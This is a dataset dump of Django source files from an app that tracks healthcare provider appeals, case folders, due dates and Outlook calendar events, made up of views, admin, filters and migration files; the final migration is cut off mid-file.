index int64 | repo_name string | branch_name string | path string | content string | import_graph string |
|---|---|---|---|---|---|
45,956 | rgienko/appealsMasterv2 | refs/heads/master | /app/admin.py | from django.contrib import admin
from .models import *
# Register your models here.
@admin.register(action_master)
class action_master_admin(admin.ModelAdmin):
list_display = ('id', 'note', 'description', 'lead_time', 'type')
@admin.register(provider_master)
class action_master_damin(admin.ModelAdmin):
list_display = ('case_number', 'provider_number','fiscal_year', 'npr_date')
@admin.register(appeal_master)
class appeal_master_admin(admin.ModelAdmin):
list_display = ('case_number', 'structure', 'appeal_name')
admin.site.register(issue_master)
admin.site.register(file_storage)
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,957 | rgienko/appealsMasterv2 | refs/heads/master | /app/views.py | from django.shortcuts import render, redirect, get_object_or_404
from django.http import HttpResponse, HttpResponseRedirect
from django.urls import reverse, reverse_lazy
from django.contrib import messages
from app.auth_helper import get_sign_in_url, get_token_from_code, store_token, store_user, remove_user_and_token, get_token
from app.graph_helper import get_user, get_calendar_events, create_event
import dateutil.parser
from app.forms import *
from app.models import *
from django.views.generic import TemplateView, UpdateView, CreateView, DeleteView
import os
import random
import datetime
from datetime import datetime
from datetime import date, timedelta
from django.db.models import Avg, Sum
# Create your views here.
def initialize_context(request):
context = {}
# Check for any errors in the session
error = request.session.pop('flash_error', None)
if error != None:
context['errors'] = []
context['errors'].append(error)
# check for the user in the session
context['user'] = request.session.get('user', {'is_authenticated':False})
return context
def sign_in(request):
# Get the sign in url
sign_in_url, state = get_sign_in_url()
# Save the expected state so we can validate in the callback
request.session['auth_state'] = state
# Redirect to the Azure sign-in page
return HttpResponseRedirect(sign_in_url)
def callback(request):
# Get the state saved in the session
expected_state = request.session.pop('auth_state', '')
# Make the token request
token = get_token_from_code(request.get_full_path(), expected_state)
# Get the user's profile
user = get_user(token)
# Save the token and user
store_token(request, token)
store_user(request, user)
return HttpResponseRedirect(reverse('home'))
def sign_out(request):
# Clear out the user and the token
remove_user_and_token(request)
return HttpResponseRedirect(reverse('home'))
def home(request):
context = initialize_context(request)
due_next = critical_dates_master.objects.all().order_by('-critical_date')
most_rec_cases = appeal_master.objects.all().order_by('-request_date')
total_cases = appeal_master.objects.count()
impact = provider_master.objects.filter(active_in_appeal_field__exact=True).aggregate(sum=Sum('amount'))
''' total_impact = '{:20,.2f}'.format(impact['sum']) '''
if request.method =='POST' and 'make_dir_button' not in request.POST:
search_case = request.POST.get('search')
return redirect(r'appeal_detail_url', search_case)
new_dir_form = make_dir_form(request.POST)
if request.method == 'POST' and 'make_dir_button' in request.POST:
if new_dir_form.is_valid():
type = request.POST.get('type')
parent = request.POST.get('parent')
p_num = request.POST.get('p_num')
issue = request.POST.get('issue')
fy = request.POST.get('fy')
c_num = request.POST.get('c_num')
if type == 'INDIVIDUAL':
# Goal: S:\3-AP\1-DOCS\INDIVIDUAL\IND~01-0001~2016~XX-XXXX
new_path = 'S:\\3-AP\\1-DOCS\\{0}\{1}~{2}~{3}~{4}'.format(type, parent, p_num, fy, c_num)
else:
# Goal: S:\3-AP\1-DOCS\GROUP\IND~CN-XXXX~2016~1~SSI ERR
issue_abb = issue_master.objects.get(pk=issue)
new_path = 'S:\\3-AP\\1-DOCS\\{0}\{1}~{2}~{3}~{4}~{5}'.format(type, parent,fy,c_num,issue, issue_abb.abbreviation)
try:
os.mkdir(new_path)
# Sucess Message
messages.success(request, 'Directory created successfully!')
new_dir_form = make_dir_form()
except:
# Directory Already Exists
messages.error(request, 'Directory already exsists, please correct and try again.')
else:
new_dir_form = make_dir_form()
context['new_dir_form'] = new_dir_form
context['due_next'] = due_next
context['most_rec_cases'] = most_rec_cases
context['total_cases'] = total_cases
''' context['total_impact'] = total_impact '''
return render(request, 'app/index.html', context)
def find_group_view(request):
context = initialize_context(request)
token = get_token(request)
form = group_form_form(request.POST)
to_groups = appeal_master.objects.exclude(structure__exact='Individual')
context['form'] = form
context['to_groups'] = to_groups
return render(request, 'app/group_formation.html', context)
def provider_name_master_view(request):
context = initialize_context(request)
token = get_token(request)
all_providers = prov_name_master.objects.all().order_by('provider_number')
all_systems = parent_master.objects.only('parent_id').order_by('parent_id')
context['all_providers'] = all_providers
context['all_systems'] = all_systems
if request.GET.get('is_client') == 'Client':
all_providers = all_providers.filter(is_client__exact=True).order_by('parent_id', 'provider_number')
context['all_providers'] = all_providers
return render(request, 'app/provider_name_master.html', context)
elif request.GET.get('system_filter'):
sys = request.GET.get('system_filter')
all_providers = all_providers.filter(parent_id__exact = sys)
context['all_providers'] = all_providers
return render(request, 'app/provider_name_master.html', context)
elif request.GET.get('clear_filter') == 'Clear Filter':
all_provider = prov_name_master.objects.all().order_by('provider_number')
context['all_providers'] = all_providers
return render(request, 'app/provider_name_master.html', context)
return render(request, 'app/provider_name_master.html', context)
class new_provider_name_view(CreateView):
model = prov_name_master
fields = [
'provider_number',
'provider_name',
'fye',
'city',
'county',
'state_id',
'parent_id',
'fi_number',
'is_client'
]
widgets = {
'provider_name': TextInput(attrs={'size': '75'}),
}
template_name = 'app/prov_name_master_create_form.html'
context_object_name = 'provider'
def form_valid(self, form):
provider = form.save(commit=False)
provider.save()
return redirect('provider_name_master_url')
class provider_name_update_view(UpdateView):
model = prov_name_master
fields = [
'provider_number',
'provider_name',
'fye',
'city',
'county',
'state_id',
'parent_id',
'fi_number',
'is_client'
]
template_name = 'app/prov_name_master_form.html'
pk_url_kwarg = 'provider_number'
context_object_name = 'provider'
def form_valid(self, form):
provider = form.save(commit=False)
provider.save()
return redirect('provider_name_master_url')
class parent_update_view(UpdateView):
# Specify the model
model = parent_master
#Specify the fields
fields = [
'parent_id',
'parent_full_name',
'corp_contact_first_name',
'corp_contact_last_name',
'corp_contact_street',
'corp_contact_city',
'corp_contact_state_id',
'corp_contact_zip',
'corp_contact_phone',
'corp_contact_email'
]
template_name = 'app/parent_master_form.html'
pk_url_kwarg = 'parent_id'
context_object_name = 'parent'
def form_valid(self, form):
parent = form.save(commit=False)
parent.save()
return redirect('parent_master_url')
def parent_master_view(request):
context = initialize_context(request)
token = get_token(request)
all_parents = parent_master.objects.all().order_by('parent_id')
context['all_parents'] = all_parents
return render(request, 'app/parent_master.html', context)
def new_parent_view(request):
context = initialize_context(request)
token = get_token(request)
form = add_parent_form(request.POST)
if request.method == 'POST':
if form.is_valid():
new_parent = form.save(commit=False)
new_parent.save()
return redirect(r'parent_master_url')
else:
form = add_parent_form(request.POST)
context['form'] = form
return render(request, 'app/new_parent.html', context)
def issue_master_view(request):
context = initialize_context(request)
token = get_token(request)
all_issues = issue_master.objects.all().order_by('issue_id')
context['all_issues'] = all_issues
return render(request, 'app/issue_master.html', context)
def issue_detail_view(request, pk):
context = initialize_context(request)
token = get_token(request)
issue = get_object_or_404(issue_master, pk=pk)
context['issue'] = issue
return render(request, 'app/issue_master_detail.html', context)
class update_issue_view(UpdateView):
# Specify the model
model = issue_master
#Specify the fields
fields = [
'issue_id',
'old_id',
'issue',
'realization_weight',
'rep_id',
'abbreviation',
'short_description',
'long_description',
'is_groupable'
]
template_name = 'app/issue_master_form.html'
pk_url_kwarg = 'issue_id'
context_object_name = 'issue'
def form_valid(self, form):
issue = form.save(commit=False)
issue.save()
return redirect(r'issue_detail_url', issue.issue_id)
def delete_issue(request, pk):
context = initialize_context(request)
token = get_token(request)
obj = get_object_or_404(provider_master, pk=pk)
case = obj.case_number
if request.method == 'POST':
obj.delete()
return HttpResponseRedirect('/')
return render(request, 'app/provider_master_confirm_delete.html', context)
def new_issue_master(request):
context = initialize_context(request)
token = get_token(request)
form = new_issue_master_form(request.POST)
if request.method == 'POST':
if form.is_valid():
new_issue = form.save(commit=False)
new_issue.save()
return redirect(r'issue_master_url')
else:
form = new_appeal_master_form(request.POST)
context['form'] = form
return render(request, 'app/new_issue_master.html', context)
def calendar(request):
context = initialize_context(request)
token = get_token(request)
events = get_calendar_events(token)
if events:
for event in events['value']:
event['start']['dateTime'] = dateutil.parser.parse(event['start']['dateTime'])
event['end']['dateTime'] = dateutil.parser.parse(event['end']['dateTime'])
context['events'] = events['value']
return render(request, 'app/calendar.html', context)
def new_appeal(request):
today = datetime.today()
context = initialize_context(request)
form = new_appeal_master_form(request.POST)
context['form'] = form
token = get_token(request)
if request.method == 'POST':
if form.is_valid():
new_appeal_master_case = form.save(commit=False)
new_appeal_master_case.request_date = today
new_appeal_master_case.save()
return render(request, 'app/index.html', context=context)
return render(request, 'app/new_appeal_master.html', context=context)
def add_critical_due_dates(request, pk):
context = initialize_context(request)
token = get_token(request)
case_information = get_object_or_404(appeal_master, pk=pk)
case = case_information.case_number
case_due_dates = critical_dates_master.objects.filter(case_number__exact=case).order_by('critical_date')
due_form = add_critical_due_dates_form(request.POST)
if request.method == 'POST' and 'dueButton' in request.POST:
if due_form.is_valid():
new_due_date = due_form.save(commit=False)
new_due_date.case_number = case
new_due_date.save()
action = action_master.objects.get(pk=new_due_date.action_id)
prov = provider_master.objects.filter(case_number__exact=case)
p = prov[:1]
for prov in p:
fy = prov.fiscal_year
if case_information.structure == 'INDIVIDUAL':
for prov in p:
pnum = prov.provider_number
o_sub = '{0}~{1}~FY{2}~({3})'.format(new_due_date.action_id, case, str(fy) ,pnum)
else:
o_sub = '{0}~{1}G~FY{2}'.format(new_due_date.action_id, case, str(fy))
# subject = '{0}~{1}~FY{2}~({3})'.format(new_due_date.action_id, case, str(fy) ,pnum)
subject = o_sub
content = action.description
start = new_due_date.critical_date
start_date = start + timedelta(hours=random.randint(12,24))
end = start_date + timedelta(minutes=30)
location = 'N/A'
is_all_day = False
reminder_minutes = action.lead_time * 10080 # 10,080 minutes per week and lead time is in weeks
payload = {
"subject":subject,
"body": {"contentType": "html", "content":content},
"start": {
"dateTime":start_date.strftime("%Y-%m-%dT%H:%M:%S.%f"),
"timeZone":"UTC",
},
"end": {
"dateTime":end.strftime("%Y-%m-%dT%H:%M:%S.%f"),
"timeZone":"UTC",
},
"location": {"displayName":location},
"isReminderOn": True,
"reminderMinutesBeforeStart":reminder_minutes,
"isAllDay": is_all_day,
}
new_event = create_event(token, payload)
return redirect(r'appeal_detail_url', case)
else:
due_form = add_critical_due_dates_form()
context['due_form'] = due_form
context['case_information'] = case_information
context['case_due_dates'] = case_due_dates
context['title'] = 'Review Critical Due Dates'
return render(
request,
'app/review_case_critical_due_dates.html',
context
)
def appeal_details(request, pk):
context = initialize_context(request)
token = get_token(request)
case_information = get_object_or_404(appeal_master, pk=pk)
case = case_information.case_number
case_due_dates = critical_dates_master.objects.filter(case_number__exact=case).order_by('-critical_date')
case_issues = provider_master.objects.filter(case_number__exact=case).order_by('issue_id')
case_files = file_storage.objects.filter(case_number__exact=case)
count = case_issues.count()
if case_information.structure == 'INDIVIDUAL':
provider_information = case_issues[:1]
else:
provider_information = case_issues
form = acknowledge_case_form(request.POST)
add_issue_form = add_issue(request.POST)
upload_file_form = upload_case_file(request.POST, request.FILES)
if request.method =='POST' and 'ackButton' in request.POST:
if form.is_valid():
case_information.create_date = form.cleaned_data['acknowledged_date']
case_information.acknowledged = 'True'
case_information.save()
return redirect(r'appeal_detail_url', case)
else:
form = acknowledge_case_form()
elif request.method == 'POST' and 'add_button' in request.POST:
if add_issue_form.is_valid():
new_issue = add_issue_form.save(commit=False)
new_issue.case_number = case
new_issue.save()
return redirect(r'appeal_detail_url', case)
else:
add_issue_form = add_issue()
elif request.method == 'POST' and 'upload_file_button' in request.POST:
if upload_file_form.is_valid():
new_file = upload_file_form.save(commit=False)
new_file.case_number = case
new_file.save()
return redirect(r'appeal_detail_url', case)
elif request.method == 'POST':
search_case = request.POST.get('search')
return redirect(r'appeal_detail_url', search_case)
context['form'] = form
context['add_issue_form'] = add_issue_form
context['upload_file_form'] = upload_file_form
context['case_information'] = case_information
context['case_files'] = case_files
context['case_due_dates'] = case_due_dates
context['case_issues'] = case_issues
context['provider_information'] = provider_information
context['count'] = count
context['title'] = 'Appeal Details'
return render(
request,
'app/appeal_detail.html',
context
)
def transfer_issue_view(request, pk):
context = initialize_context(request)
token = get_token(request)
issue_to_transfer = get_object_or_404(provider_master, pk=pk)
trans_form = transfer_issue_form(request.POST)
if request.method == 'POST':
if trans_form.is_valid():
issue_to_transfer.to = str(trans_form.cleaned_data['to_case'])
issue_to_transfer.to_date = trans_form.cleaned_data['to_date']
issue_to_transfer.save()
new_group_prov = provider_master(case_number= issue_to_transfer.to,
provider_number = issue_to_transfer.provider_number,
fiscal_year = issue_to_transfer.fiscal_year,
npr_date = issue_to_transfer.npr_date,
receipt_date = issue_to_transfer.receipt_date,
was_added = issue_to_transfer.was_added,
issue_id = issue_to_transfer.issue_id,
charge_id = issue_to_transfer.charge_id,
amount = issue_to_transfer.amount,
audit_adjustments = issue_to_transfer.audit_adjustments,
sri_staff_id = issue_to_transfer.sri_staff_id,
active_in_appeal_field = issue_to_transfer.active_in_appeal_field,
to = '',
to_date = issue_to_transfer.to_date,
from_field = str(issue_to_transfer.case_number),
agreement = issue_to_transfer.agreement,
agree_note = issue_to_transfer.agree_note,
provider_specific_note = issue_to_transfer.provider_specific_note)
new_group_prov.save()
return redirect(r'appeal_detail_url', str(trans_form.cleaned_data['to_case']))
else:
trans_form = transfer_issue_form(request.POST)
context['issue_to_transfer'] = issue_to_transfer
context['trans_form'] = trans_form
return render(request, 'app/transfer_issue.html', context)
def charge_master_view(request):
context = initialize_context(request)
token = get_token(request)
all_charge_codes = charge_master.objects.all()
context['all_charge_codes'] = all_charge_codes
return render(request, 'app/charge_master.html', context)
def group_form_view(request):
context = initialize_context(request)
token = get_token(request)
find_group_form = group_form_form(request.POST)
if request.method == 'POST':
if find_group_form.is_valid():
fy = request.POST.get('fy')
parent= request.POST.get('parent')
issue = request.POST.get('issue')
# FOR REFERENCE #
'''
def make_dir(request):
context = initialize_context(request)
token = get_token(request)
new_dir_form = make_dir_form(request.POST)
if request.method == 'POST' and 'make_dir_button' in request.POST:
if new_dir_form.is_valid():
type = request.POST.get('type')
parent = request.POST.get('parent')
p_num = request.POST.get('p_num')
issue = request.POST.get('issue')
fy = request.POST.get('fy')
c_num = request.POST.get('c_num')
if type == 'INDIVIDUAL':
# Goal: S:\3-AP\1-DOCS\INDIVIDUAL\IND~01-0001~2016~XX-XXXX
new_path = 'S:\\3-AP\\1-DOCS\\{0}\{1}~{2}~{3}~{4}'.format(type, parent, p_num, fy, c_num)
try:
os.mkdir(new_path)
# Sucess Message
messages.success(request, 'Directory created successfully!')
return context
except:
# Directory Already Exists
messages.error(request, 'Directory already exsists')
else:
# Goal: S:\3-Ap\1-DOCS\GROUP\OPT~2016~XX-XXXX~1~SSI ERR
issue_abb = issue_master.objects.get(pk=issue).only('abbreviation')
new_path = 'S:\\3-AP\\1-DOCS\\{0}\{1}~{2}~{3}~{4}~{5}'.format(type, parent,fy,c_num,issue, issue_abb)
try:
os.mkdir(new_path)
# Sucess Message
messages.success(request, 'Directory created successfully!')
except:
# Directory Already Exists
messages.error(request, 'Directory already exsists')
else:
new_dir_form = make_dir_form()
context['new_dir_form'] = new_dir_form
return context
class new_due_date(TemplateView):
template_name=""
def get(self, request, **kwargs):
context = initialize_context(request)
form = new_appeal_master_form()
context['form'] = form
return render(request, template_name, context)
def post(self, request):
context = initialize_context(request)
form = new_appeal_master_form(request.POST)
context['form'] = form
token = get_token(request)
if form.is_valid():
subject = request.POST.get('subject')
content = request.POST.get('content')
start = request.POST.get('start')
end = request.POST.get('end')
location = request.POST.get('location')
is_all_day = request.POST.get('is_all_day')
payload = {
"subject":subject,
"body": {"contenType": "html", "content":content},
"start": {
"dateTime":start,
"timeZone":"UTC",
},
"end": {
"dateTime":end,
"timeZone":"UTC",
},
"location": {"displayName":location},
"isAllDay": is_all_day,
}
new_event = create_event(token, payload)
context['new_event'] = (new_event)
return render(request, template_name, context=context)
return render(request, "app/event-form.html", context=context)
'''
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,958 | rgienko/appealsMasterv2 | refs/heads/master | /app/migrations/0013_auto_20200428_1627.py | # Generated by Django 2.1.15 on 2020-04-28 21:27
from django.db import migrations, models
import django.db.models.deletion
import uuid
class Migration(migrations.Migration):
dependencies = [
('app', '0012_auto_20200422_1536'),
]
operations = [
migrations.CreateModel(
name='file_storage',
fields=[
('id', models.UUIDField(default=uuid.uuid4, primary_key=True, serialize=False)),
('case_number', models.CharField(max_length=7)),
('file_type', models.CharField(choices=[('CONF', 'Appeal Submission Confirmation'), ('ACK', 'Acknowledgement & Critical Due Dates'), ('30', '30 Day Letter')], max_length=10)),
('file', models.FileField(upload_to='case_files/')),
],
),
migrations.AlterField(
model_name='prov_name_master',
name='state_id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.state_name_master'),
),
]
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,959 | rgienko/appealsMasterv2 | refs/heads/master | /app/migrations/0010_auto_20200420_1603.py | # Generated by Django 2.1.15 on 2020-04-20 21:03
from django.db import migrations, models
import tinymce.models
class Migration(migrations.Migration):
dependencies = [
('app', '0009_auto_20200420_1524'),
]
operations = [
migrations.AlterField(
model_name='appeal_master',
name='case_number',
field=models.CharField(max_length=7, primary_key=True, serialize=False),
),
migrations.AlterField(
model_name='issue_master',
name='long_description',
field=tinymce.models.HTMLField(blank=True, max_length=4000, null=True),
),
]
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,960 | rgienko/appealsMasterv2 | refs/heads/master | /app/migrations/0008_auto_20200415_1422.py | # Generated by Django 2.1.15 on 2020-04-15 19:22
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0007_auto_20200415_1109'),
]
operations = [
migrations.AlterField(
model_name='provider_master',
name='case_number',
field=models.CharField(max_length=7),
),
]
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,961 | rgienko/appealsMasterv2 | refs/heads/master | /app/migrations/0004_auto_20200413_1602.py | # Generated by Django 2.1.15 on 2020-04-13 21:02
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('app', '0003_auto_20200413_1539'),
]
operations = [
migrations.RemoveField(
model_name='case_master',
name='case_number',
),
migrations.RemoveField(
model_name='case_master',
name='provider_master_id',
),
migrations.RemoveField(
model_name='case_master',
name='provider_number',
),
migrations.RemoveField(
model_name='appeal_master',
name='stamp',
),
migrations.AddField(
model_name='provider_master',
name='active_in_appeal_field',
field=models.BooleanField(blank=True, default=True, null=True),
),
migrations.AddField(
model_name='provider_master',
name='agree_note',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='provider_master',
name='agreement',
field=models.CharField(blank=True, max_length=255, null=True),
),
migrations.AddField(
model_name='provider_master',
name='amount',
field=models.DecimalField(blank=True, decimal_places=2, max_digits=16, null=True),
),
migrations.AddField(
model_name='provider_master',
name='audit_adjustments',
field=models.CharField(blank=True, max_length=255, null=True),
),
migrations.AddField(
model_name='provider_master',
name='charge_id',
field=models.ForeignKey(default=800, on_delete=django.db.models.deletion.CASCADE, to='app.charge_master'),
),
migrations.AddField(
model_name='provider_master',
name='from_field',
field=models.CharField(blank=True, max_length=7, null=True),
),
migrations.AddField(
model_name='provider_master',
name='issue_id',
field=models.ForeignKey(default=1, on_delete=django.db.models.deletion.CASCADE, to='app.issue_master'),
),
migrations.AddField(
model_name='provider_master',
name='provider_specific_note',
field=models.TextField(blank=True, null=True),
),
migrations.AddField(
model_name='provider_master',
name='sri_staff_id',
field=models.ForeignKey(default=14, on_delete=django.db.models.deletion.CASCADE, to='app.srg_staff_master'),
),
migrations.AddField(
model_name='provider_master',
name='to',
field=models.CharField(blank=True, max_length=7, null=True),
),
migrations.AddField(
model_name='provider_master',
name='to_date',
field=models.DateField(blank=True, null=True),
),
migrations.AddField(
model_name='provider_master',
name='was_added',
field=models.BooleanField(blank=True, default=False, null=True),
),
migrations.AlterField(
model_name='appeal_master',
name='acknowledged',
field=models.BooleanField(blank=True, default=False, null=True),
),
migrations.RemoveField(
model_name='provider_master',
name='case_number',
),
migrations.AddField(
model_name='provider_master',
name='case_number',
field=models.ForeignKey(default='00-0000', on_delete=django.db.models.deletion.CASCADE, to='app.appeal_master'),
),
migrations.RemoveField(
model_name='provider_master',
name='provider_number',
),
migrations.AddField(
model_name='provider_master',
name='provider_number',
field=models.ForeignKey(default='01-0001', on_delete=django.db.models.deletion.CASCADE, to='app.prov_name_master'),
),
migrations.AlterField(
model_name='provider_master',
name='receipt_date',
field=models.DateField(blank=True, null=True),
),
migrations.DeleteModel(
name='case_master',
),
]
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,962 | rgienko/appealsMasterv2 | refs/heads/master | /app/filters.py | import django_filters
class provider_name_filter(django_filters.FilterSet):
class Meta:
model = prov_name_master
fields = ['is_client']
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,963 | rgienko/appealsMasterv2 | refs/heads/master | /app/migrations/0002_auto_20200410_1550.py | # Generated by Django 2.1.15 on 2020-04-10 20:50
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='prov_name_master',
name='fye',
field=models.CharField(blank=True, max_length=10, null=True),
),
]
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,964 | rgienko/appealsMasterv2 | refs/heads/master | /app/migrations/0007_auto_20200415_1109.py | # Generated by Django 2.1.15 on 2020-04-15 16:09
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0006_auto_20200414_1618'),
]
operations = [
migrations.AlterField(
model_name='critical_dates_master',
name='critical_date',
field=models.DateTimeField(),
),
]
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,965 | rgienko/appealsMasterv2 | refs/heads/master | /app/migrations/0009_auto_20200420_1524.py | # Generated by Django 2.1.15 on 2020-04-20 20:24
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0008_auto_20200415_1422'),
]
operations = [
migrations.AddField(
model_name='appeal_master',
name='is_ffy',
field=models.BooleanField(blank=True, default=False, null=True),
),
migrations.AlterField(
model_name='issue_master',
name='long_description',
field=models.TextField(blank=True, max_length=4000, null=True),
),
]
| {"/app/forms.py": ["/app/models.py"], "/app/admin.py": ["/app/models.py"], "/app/views.py": ["/app/forms.py", "/app/models.py"], "/app/urls.py": ["/app/views.py"]} |
45,966 | rgienko/appealsMasterv2 | refs/heads/master | /app/migrations/0001_initial.py | # Generated by Django 2.1.15 on 2020-04-10 20:11
from django.db import migrations, models
import django.db.models.deletion
import uuid
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='action_master',
fields=[
('id', models.CharField(max_length=25, primary_key=True, serialize=False)),
('note', models.TextField(blank=True, null=True)),
('description', models.TextField(blank=True, max_length=3000, null=True)),
('lead_time', models.IntegerField(blank=True, db_column='lead time', null=True)),
('type', models.CharField(blank=True, max_length=255, null=True)),
],
),
migrations.CreateModel(
name='appeal_master',
fields=[
('case_number', models.CharField(max_length=255, primary_key=True, serialize=False)),
('appeal_name', models.CharField(blank=True, max_length=255, null=True)),
('structure', models.CharField(choices=[('INDIVIDUAL', 'Individual'), ('CIRP', 'CIRP'), ('OPTIONAL', 'Optional')], max_length=10)),
('general_info_and_notes', models.TextField(blank=True, null=True)),
('stamp', models.DateTimeField(blank=True, null=True)),
('prrb_trk_num', models.CharField(blank=True, max_length=255, null=True)),
('mac_trk_num', models.CharField(blank=True, max_length=255, null=True)),
('create_date', models.DateTimeField(blank=True, null=True)),
('request_date', models.DateTimeField(blank=True, null=True)),
('acknowledged', models.BooleanField()),
],
),
migrations.CreateModel(
name='case_master',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('case_number', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.appeal_master')),
],
),
migrations.CreateModel(
name='charge_master',
fields=[
('charge_id', models.IntegerField(primary_key=True, serialize=False)),
('description', models.TextField(blank=True, null=True)),
],
),
migrations.CreateModel(
name='fi_master',
fields=[
('fi_id', models.IntegerField(primary_key=True, serialize=False)),
('fi_name', models.CharField(blank=True, max_length=255, null=True)),
('fi_abbr', models.CharField(blank=True, max_length=25, null=True)),
('fi_juris', models.CharField(blank=True, max_length=50, null=True)),
],
),
migrations.CreateModel(
name='issue_master',
fields=[
('issue_id', models.IntegerField(primary_key=True, serialize=False)),
('old_id', models.IntegerField(blank=True, null=True)),
('issue', models.CharField(max_length=255)),
('realization_weight', models.FloatField()),
('rep_id', models.IntegerField()),
('category_id', models.IntegerField()),
('abbreviation', models.CharField(blank=True, max_length=255, null=True)),
('short_description', models.TextField(blank=True, max_length=1500, null=True)),
('long_description', models.TextField(blank=True, max_length=1500, null=True)),
('is_groupable', models.BooleanField()),
],
),
migrations.CreateModel(
name='parent_master',
fields=[
('parent_id', models.CharField(max_length=255, primary_key=True, serialize=False)),
('parent_full_name', models.CharField(blank=True, max_length=255, null=True)),
('corp_contact_first_name', models.CharField(blank=True, max_length=255, null=True)),
('corp_contact_last_name', models.CharField(blank=True, max_length=255, null=True)),
('corp_contact_street', models.CharField(blank=True, max_length=255, null=True)),
('corp_contact_city', models.CharField(blank=True, max_length=255, null=True)),
('corp_contact_zip', models.CharField(blank=True, max_length=255, null=True)),
('corp_contact_phone', models.CharField(blank=True, max_length=255, null=True)),
('corp_contact_fax', models.CharField(blank=True, max_length=255, null=True)),
('corp_contact_email', models.EmailField(blank=True, max_length=255, null=True)),
],
),
migrations.CreateModel(
name='prov_name_master',
fields=[
('provider_number', models.CharField(max_length=7, primary_key=True, serialize=False, verbose_name='Proivider Number')),
('provider_name', models.CharField(blank=True, max_length=255, null=True)),
('fye', models.CharField(blank=True, max_length=5, null=True)),
('city', models.CharField(blank=True, max_length=255, null=True)),
('county', models.CharField(blank=True, max_length=255, null=True)),
('fi_number', models.CharField(blank=True, max_length=25, null=True)),
('is_client', models.BooleanField()),
('parent_id', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.parent_master')),
],
),
migrations.CreateModel(
name='provider_master',
fields=[
('id', models.UUIDField(default=uuid.uuid4, primary_key=True, serialize=False)),
('case_number', models.ManyToManyField(through='app.case_master', to='app.appeal_master')),
('provider_number', models.ManyToManyField(through='app.case_master', to='app.prov_name_master')),
],
),
migrations.CreateModel(
name='prrb_contacts',
fields=[
('prrb_contact_id', models.IntegerField(primary_key=True, serialize=False)),
('last_name', models.CharField(max_length=255)),
('first_name', models.CharField(max_length=255)),
('title', models.CharField(max_length=255)),
('email_address', models.CharField(max_length=255)),
('appeals_general_email', models.CharField(blank=True, max_length=255, null=True)),
('phone_number', models.CharField(max_length=255)),
('street_1', models.CharField(blank=True, max_length=255, null=True)),
('street_2_suite_dept', models.CharField(blank=True, max_length=255, null=True)),
('city', models.CharField(blank=True, max_length=255, null=True)),
('zip', models.CharField(blank=True, max_length=255, null=True)),
],
),
migrations.CreateModel(
name='rep_master',
fields=[
('rep_id', models.IntegerField(primary_key=True, serialize=False)),
('rep', models.CharField(blank=True, max_length=255, null=True)),
('last_name', models.CharField(blank=True, max_length=255, null=True)),
('first_name', models.CharField(blank=True, max_length=255, null=True)),
],
),
migrations.CreateModel(
name='srg_staff_master',
fields=[
('sri_staff_id', models.IntegerField(primary_key=True, serialize=False)),
('employee', models.CharField(blank=True, max_length=255, null=True)),
('last_name', models.CharField(blank=True, max_length=255, null=True)),
('first_name', models.CharField(blank=True, max_length=255, null=True)),
],
),
migrations.CreateModel(
name='state_name_master',
fields=[
('state_id', models.CharField(max_length=2, primary_key=True, serialize=False)),
('state_name', models.CharField(blank=True, max_length=25, null=True)),
],
),
migrations.CreateModel(
name='status_master',
fields=[
('status_id', models.IntegerField(primary_key=True, serialize=False)),
('status', models.CharField(blank=True, max_length=255, null=True)),
('description', models.TextField(blank=True, null=True)),
],
),
migrations.AddField(
model_name='prrb_contacts',
name='state_id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.state_name_master'),
),
migrations.AddField(
model_name='prov_name_master',
name='state_id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.state_name_master', verbose_name='State'),
),
migrations.AddField(
model_name='parent_master',
name='corp_contact_state_id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.state_name_master'),
),
migrations.AddField(
model_name='case_master',
name='provider_master_id',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='app.provider_master'),
),
migrations.AddField(
model_name='case_master',
name='provider_number',
field=models.ForeignKey(default='00-0000', on_delete=django.db.models.deletion.CASCADE, to='app.prov_name_master'),
),
migrations.AddField(
model_name='appeal_master',
name='fi_id',
